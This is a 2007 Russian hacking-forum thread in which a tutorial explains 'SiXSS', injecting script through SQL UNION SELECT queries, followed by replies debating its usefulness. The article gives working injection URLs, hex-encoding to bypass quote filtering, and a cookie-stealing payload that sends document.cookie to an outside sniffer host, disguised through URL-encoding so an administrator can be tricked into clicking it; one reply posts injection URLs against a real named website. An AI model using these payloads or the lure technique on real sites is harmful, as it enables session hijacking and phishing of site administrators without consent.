PDA

Просмотр полной версии : SiXSS своими руками


Basurman
23.07.2007, 12:51
Данная статья расчитана на тех, кто знаком с такими понятиями, как SQL Injection и XSS атака. Без понимания основ, к прочтению не рекомендуется. (SQL injection: http://forum.antichat.ru/thread43966.html XSS: http://forum.antichat.ru/thread44125.html)

1. Введение
Что же такое SiXSS? Это расшифровывается как SQL Injection Cross Site Scripting - комбинация SQL Inj и XSS атаки. Подразумевает под собой выполнение XSS атак через уязвимость скрипта к SQL Inj.

2. Область применения
Применяется этот тип атаки, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более. Подробно об этом написано здесь: http://www.securitylab.ru/analytics/216380.php
(оно же здесь на античате: http://forum.antichat.ru/thread29763-sixss.html)

Также применяется в тех случаях, когда кроме самой SQL injection, мы не можем ни подобрать имена таблиц (не у всех стоит, например, MySQL >5 с INFORMATION_SCHEMA), ни сделать, например, вывод в файл (masterhost). Здесь мы и заострим наше внимание.

Кульминацией в обоих случаях будет являться применение новых технологии фишинга

3. Теория использования (на примере MySQL)
В языке SQL есть комманда union, которая используется для объединения двух запросов.
Например: http://site.net/test.php?id=-1+union+select+1,DATABASE(),3/*
Кроме этого, union select дает возможность вывести в окно браузера произвольный текст. Этим
мы и воспользуемся, написав в строке адреса следующую вещь:
http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*
Готово. Должно выскочить окошко со словом SiXSS.
Однако здесь мы можем столкнуться с двумя проблемами:
а). Включенную функцию magic_quotes, которая обрежет нашу XSS.
Обойти ее можно воспользовавшись тем, что MySQL позволяет переводить шестнадцатеричные значения вида 0хAB123456) в текст:
mysql> select HEX('<script>alert("SiXSS");</script>');
Получим значение: 3C7363726970743E616C6572742822536958535322293B3C2F 7363726970743E.
Теперь наш запрос будет иметь вид:
http://site.net/test.php?id=-1+union+select+1,0x3C7363726970743E616C65727428225 36958535322293B3C2F7363726970743E,3/*

б). Выключенный javascript (либо вообще, либо плугином к firefox - noscript)
Что же делать, если отключена работа javascript? И тут мы опять вспоминаем, что union select позволяет вывести в окно браузера ПРОИЗВОЛЬНЫЙ текст. То есть HTML тоже. Другими словами, получается, что подделав HTML страницу со вводом пароля, мы можем отослать любую инфу нашему скрипту, находящемуся где-нибудь на просторах интернета

4. Практика фишинга
Итак, мы с вами нашли и проверили уязвимость, что же дальше?

Просто попытаемся сунуть ссылку админу (например, посмотри пожалуйста, что происходит с сайтом?)
http://site.net/test.php?id=-1+union+select+1,<script>img=new Image();img.src="http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>,3/*

Конечно, по такой ссылке он не пойдет. Поэтому приведем ее в божеский вид:
http://site.net/test.php?id=%2D%31%2B%75%6E%69%6F%6E%2B%73%65%6C%6 5%63%74%2B%31%2C0x3C7363726970743E696D673D6E657720 496D61676528293B696D672E7372633D22687474703A2F2F6F 6C642E616E7469636861742E72752F6367692D62696E2F732E 6A70673F222B646F63756D656E742E636F6F6B69653B3C2F73 63726970743E%2С%33%2F%2A

Дальше методы впаривания ссылок админам расписывать не буду, так как об этом написано много статей с подробными примерами (скрипты-снифферы, поддельные странички и т.д.). Здесь будет работать уже ваша фантазия...

5. Заключение
В этой статье я лишь хотел продемонстироровать возможности такого типа атак как SiXSS. Примеры фишинга вы можете найти в статье "... и более продвинутые sql инъекции", ссылку на которую я давал в самом начале.

Также хотелось бы обратить внимание на то, что SQL Injection даже в очень ограниченной среде способна привести к довольно печальным последствиям, если не уделять внимание безопасности своих сайтов.

+toxa+
23.07.2007, 12:57
На самом деле это всего лишь пассивная (!) xss, эффективность которой не так уж и велика) Если уж и использовать, то через iframe, а ещё лучше просто добить инъекцию)

Basurman
23.07.2007, 13:03
Заметь, Xss там, где ее быть не должно :) Что не может не радовать
И не всегда можно инъекцию раскрыть (примеров полно)

Sn@k3
23.07.2007, 13:12
http://www.uprava.org/section.php?id=-1+union+select+1,'%3Cscript%3Ealert();%3C/script%3E',3,5,6,7,8/*

http://www.uprava.org/section.php?id=-1+union+select+1,0x536e406b333a2049736973202d206c6 16d6572203d29,3,5,6,7,8/*

это толе? я встречал типа такого phpISIXss =\ тырын-пырын-уруру

Basurman
23.07.2007, 15:09
В купе с этим вот получается непадецки :)
http://forum.antichat.ru/thread22898.html

Constantine
23.07.2007, 15:47
Ну на самом деле не очень. Это просто одна из видов sql inj, и выделять это как отдельный вид атаки я бы даже не стал, да к тому же конструкция еще более громоздкая чем при использование обычного xss вектора. Итого: ничего нового и малоэффективно

[53x]Shadow
23.07.2007, 23:26
Вообще про это уже давно написано было на секлабе, еще в 2005 году.
Вот ссылка http://www.securitylab.ru/analytics/216380.php
И где копирайты? Как минимум половина примеров и материалов отсюда:
http://www.inattack.ru/article/535.html.
А так имхо, не эффективно это и очень уж изощренно ;)

Basurman
24.07.2007, 01:41
Это сборная статья. на inattack был найден один из кусков материала. На секлаб ссылки есть (один в один причем). Также использованы материалы с xakep.ru + google

Спасибо за критику, главное, что мне кажется, первый блин комом все таки не вышел.
Есть куда двигаться и стремиться. Для наглядности могу раскрыть четвертый пункт чисто от себя.

А основная цель все таки была не в том, чтобы описать новый способ атак, а "раскрыть" тему в рамках проекта античат. И абсолютно не в эффективности дело.

P.S. Думаю, все же немного переделаю статью

.Slip
24.07.2007, 11:36
Впринципе тема с sixxs довольна стара. И не очень сложное всё это дело. Кстати, в большинстве случаев если запрос:
http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*
выполняется, то и запрос
http://site.net/test.php?id="><script>alert("SiXSS")</script>
выполнит то же самое. Но это так, небольшое логическое отступление.

-=lebed=-
24.07.2007, 12:31
Сколько раз я находил sql-inj с выводом на экран того, что вбивается в адресную строку браузера, то в большинстве случаев пассивная XSS была возможна, если правильно составить запрос вида: <script>alert("XSS")</script> (закрыть необходимые теги для выполнения сценария).

Basurman
24.07.2007, 12:50
Смысл здесь в том, что у вас это работать не будет (в подавляющем больше случаев. У меня кстати тоже), если не

1. юзать utf-7 (с этим я особо пока не заморачивался)
2. переводить все в 0x. Однако здесь 2 проблемы: до кучи должна быть SQL inj, что не всегда имеется. Плюс, как и обозначено имеет маленькую эффективность.

Но в итоге мы имеем альтернативу, хоть какую, первому способу, что в некоторй степени повышает шанс атаки

Digimortal
24.07.2007, 12:57
Кстати, в большинстве случаев если запрос:
Код:
http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*

выполняется, то и запрос
Код:
http://site.net/test.php?id="><script>alert("SiXSS")</script>

выполнит то же самое. Но это так, небольшое логическое отступление.
тока во втором случае это будет уже не SiXSS, а просто xss через вывод ошибки (ErrXSS =)).. с тем, что это сработает в большинстве случаев, я не очень согласен..

.Slip
24.07.2007, 16:04
Сколько раз я находил sql-inj с выводом на экран того, что вбивается в адресную строку браузера, то в большинстве случаев пассивная XSS была возможна, если правильно составить запрос вида: <script>alert("XSS")</script> (закрыть необходимые теги для выполнения сценария).
А я что написал?%)
тока во втором случае это будет уже не SiXSS, а просто xss через вывод ошибки (ErrXSS =)).. с тем, что это сработает в большинстве случаев, я не очень согласен..
ну ясен перец что не сиксс ёпт. Я уже кучу сайтов видел где при сиксс выполняется код ксс